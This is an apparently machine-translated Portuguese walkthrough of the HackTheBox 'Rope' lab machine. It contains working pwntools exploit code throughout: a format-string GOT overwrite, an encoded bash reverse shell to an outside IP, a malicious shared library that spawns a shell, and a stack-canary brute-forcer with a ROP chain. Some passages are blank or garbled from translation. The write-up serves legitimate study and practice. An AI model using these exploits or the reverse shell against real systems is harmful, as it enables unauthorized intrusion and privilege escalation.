Corte a caixa. Passo a passo corda. PWN. Formate seqüências de caracteres e ROP usando pwntools

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .

Neste artigo, coletamos muitos pwn, que serão resolvidos usando o pwntools. Eu acho que será útil para leitores com qualquer nível de conhecimento neste tópico. Vamos lá ... A

conexão com o laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)

Informações Organizacionais
, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.148, que eu adiciono ao / etc / hosts.

10.10.10.148    rope.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

imagem

Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.

nmap -A rope.htb -p22,9999

imagem

O host executa o SSH e um servidor da web. Iremos à Web e seremos atendidos por um formulário de autorização.

imagem

Ao visualizar uma varredura de diretório, obtemos um diretório un indexado / (http: //rope.htb: 9999 //).

imagem

E no diretório / opt / www, encontramos o arquivo executável - este é o nosso servidor web.

imagem

PWN do servidor HTTP


Faça o download e veja qual é a proteção com o checksec.

imagem

Portanto, temos um aplicativo de 32 bits com todas as proteções ativadas, a saber:

  • NX (not execute) — , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

Devido ao fato de podermos ler arquivos no servidor, podemos ler o mapa do processo desse arquivo executável. Isso nos dará a resposta para as seguintes perguntas:

  1. Para qual endereço o programa é baixado?
  2. E em que endereço as bibliotecas usadas por ela são carregadas?

Vamos fazer isso.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

imagem

Portanto, temos dois endereços: 0x56558000 e f7ddc000. Ao mesmo tempo, obtemos o caminho para a biblioteca libc usada, baixamos também. Agora, levando em conta tudo o que foi encontrado, criaremos um modelo de exploração.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

Agora abra o próprio arquivo para análise em um desmontador conveniente para você (com um descompilador). Uso o IDA com vários plugins e, antes de me sentar para uma análise aprofundada, prefiro olhar para tudo o que posso coletar plugins comprovados. Um de muitos deles é o LazyIDA . E para a consulta “scan format string vuln” obtemos um prato com funções potencialmente vulneráveis.

imagem

Com a experiência de usar este plugin, chamei imediatamente a atenção para a segunda linha (seu parâmetro de formato). Passamos para o local de uso dessa função e a descompilamos.

imagem

E suposições são confirmadas, a linha é simplesmente passada para a função printf. Vamos descobrir o que é essa string. Vamos para o local da chamada para a função log_access.

imagem

Então, estamos interessados ​​no terceiro parâmetro, que estava marcando o IDA como arquivo. E só obtemos respostas para todas as perguntas examinando as referências cruzadas para essa variável.

imagem

Portanto, este é um ponteiro para uma string - o nome do arquivo que é aberto para leitura. Como essa variável é o resultado da execução da função parse_request (), o arquivo é aberto para leitura e todo o programa é um servidor da Web, podemos assumir que esta é a página solicitada no servidor.

curl http://127.0.0.1:9999/qwerty

imagem

Vamos verificar a vulnerabilidade da string de formato.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

imagem

Bem! Vamos definir o deslocamento (quantos especificadores de% p precisam ser enviados para obter 0x41414141 - AAAA no final da saída).

imagem

Temos 53. Verifique se está tudo correto.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

imagem

Não podemos obter um shell local, mas podemos executar um comando, por exemplo, lançar um shell reverso:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

Mas, para evitar caracteres desconfortáveis, nós o codificaremos em base64, a chamada do shell terá a seguinte aparência:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

E, no final, substitua todos os espaços pela construção $ IFS. Recebemos o comando que você precisa executar para obter a conexão traseira.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

Vamos adicionar isso ao código:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

Agora, de volta à nossa string de formato. Como o putf é chamado após printf (), podemos reescrever seu endereço no GOT para o endereço da função do sistema na libc. Graças ao pwntools, isso é muito fácil de fazer. Suponha que você possa obter o endereço relativo da função put usando binary.got ['puts'], também facilmente com o sistema: libc.symbols ['system'] function. Sobre linhas de formato e GOT que descrevi em detalhes em artigos sobre pwn, então aqui simplesmente coletamos a linha de formato usando pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

Coletamos a carga útil final:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

Conectamos e enviamos:

p = remote(host,port)
p.send(payload)
p.close()

O código completo se parece com isso.

imagem

Vamos executar o código e voltar a conectar.

imagem

imagem

DO UTILIZADOR


Vamos verificar as configurações do sudo para executar comandos sem uma senha.

imagem

E vemos que você pode executar readlogs em nome do usuário r4j. Não há vulnerabilidades no aplicativo, os GTFOBins também estão ausentes. Vamos ver as bibliotecas usadas pelo aplicativo.

imagem

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

imagem

Ou seja, podemos escrever nesses arquivos. Vamos escrever nossa biblioteca.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

Agora compile-o.

gcc -c -Wall -Werror -fpic liblog.c

E colete a biblioteca.

Gcc -shared -o liblog.so liblog.o

Em seguida, carregamos o arquivo no host, sobrescrevemos a biblioteca e executamos o programa.

imagem

Então pegamos o usuário.

RAIZ


Para listar o sistema, usamos linpeas.

imagem

Portanto, no host local, a porta 1337 está escutando.

imagem

Como você pode ver, nosso usuário é um membro do grupo adm. Vamos dar uma olhada nos arquivos disponíveis para este grupo.

imagem

Há um arquivo interessante. E este é o programa que escuta na porta.

imagem

Nesse caso, o aplicativo é executado como raiz.

imagem

Baixe o aplicativo em si e a biblioteca libc que ele usa. E observe que o ASLR está ativo no host.

imagem

Verifique qual proteção o aplicativo possui.

imagem

Tudo ao máximo. Ou seja, se encontrarmos um estouro de buffer, precisaremos alterar o canário (o valor que é verificado antes de sair da função para verificar a integridade do buffer) e, como uma técnica para explorar a vulnerabilidade, usaremos o ROP (sobre o qual escrevi detalhadamente)aqui ). Vamos abrir o programa em qualquer desmontador com um descompilador que seja conveniente para você (eu uso o IDA Pro). Nós descompilamos a função principal main.

imagem

Um exemplo de canário é a variável v10, que é definida no início de uma função. Vamos ver pelo que a função sub_1267 é responsável.

imagem

Então, aqui abrimos a porta para ouvir. Você pode renomeá-lo para is_listen (); nós vamos além. A seguinte função definida pelo usuário é sub_14EE.

imagem

Antes de enviar, há outra função do usuário. Nós olhamos para ela.

imagem

Portanto, nessa função, uma sequência de até 0x400 bytes é recebida e gravada no buffer. O comentário na variável buf indica o endereço relativo à base do quadro de pilha atual (rbp) - [rbp-40h], e a variável v3 (canary) tem um endereço relativo [rbp-8h], portanto, para o estouro de buffer, precisamos de mais [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 bytes.

Assim, o plano é o seguinte:

  1. encontre e exceda o buffer;
  2. abaixe o canário, rbp e rasgue;
  3. desde que a TORTA está ativada, você precisa encontrar o deslocamento real;
  4. encontre um vazamento de memória para calcular o endereço no qual a biblioteca está carregada;
  5. Colete o ROP, no qual o fluxo de descritores padrão será redirecionado para o descritor de rede do programa e, em seguida, chame / bin / sh através da função do sistema.

1. estouro de buffer


Como pode ser visto abaixo, ao transmitir 56 bytes, o programa continua funcionando normalmente, mas ao transmitir 57 bytes, temos uma exceção. Assim, a integridade do buffer é violada.

imagem

Vamos fazer um modelo de exploração. Como será necessário classificar e reconectar muito, desativaremos a saída de mensagens do pwntools (log_level).

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canário, RBP, RIP


Como descobrimos, após 56 bytes de buffer, há um canário e, depois, há endereços RBP e RIP na pilha, que também precisam ser resolvidos. Vamos escrever uma função de correspondência de 8 bytes.

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

Para que possamos compor pre_payload:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.PIE


Agora vamos lidar com a TORTA. Encontramos o RIP - este é o endereço de retorno para o qual retornamos da função. Assim, podemos subtrair dele o endereço de retorno no código.

imagem

Assim, o deslocamento da base é 0x1562. Vamos indicar o endereço real do aplicativo em execução.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

Vazamento 4.Memory


O aplicativo usa a função write () padrão para exibir a sequência de prompt, que leva um identificador para a saída, um buffer e seu tamanho. Nós podemos usar esta função.

Por conveniência, vamos usar o módulo ROP do pwntools. Em resumo, como e por que isso funciona é apresentado na imagem abaixo.

imagem

Vamos vazar, isso nos permitirá saber qual endereço a função de gravação está na biblioteca libc carregada.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP


Vamos mudar o endereço base da biblioteca libc e encontrar o endereço da linha / bin / sh.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

Resta coletar o ROP, no qual os descritores de E / S padrão (0,1,2) serão redirecionados para o descritor registrado no programa (4). Após o qual a função do sistema será chamada, onde passaremos o endereço da linha / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. Operação
Código completo de exploração.

imagem

Agora no servidor, escreva a chave ssh no arquivo /home/r4j/.ssh/authorizef_keys.

imagem

E encaminhe a porta (verifique se a conexão da porta local 1337 está redirecionada via SSH para a porta 1337 do host remoto).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

E inicie a exploração.

imagem

Trabalhamos sob a raiz.

Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e software. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar uns aos outros em qualquer problema de segurança da TI e da informação.

All Articles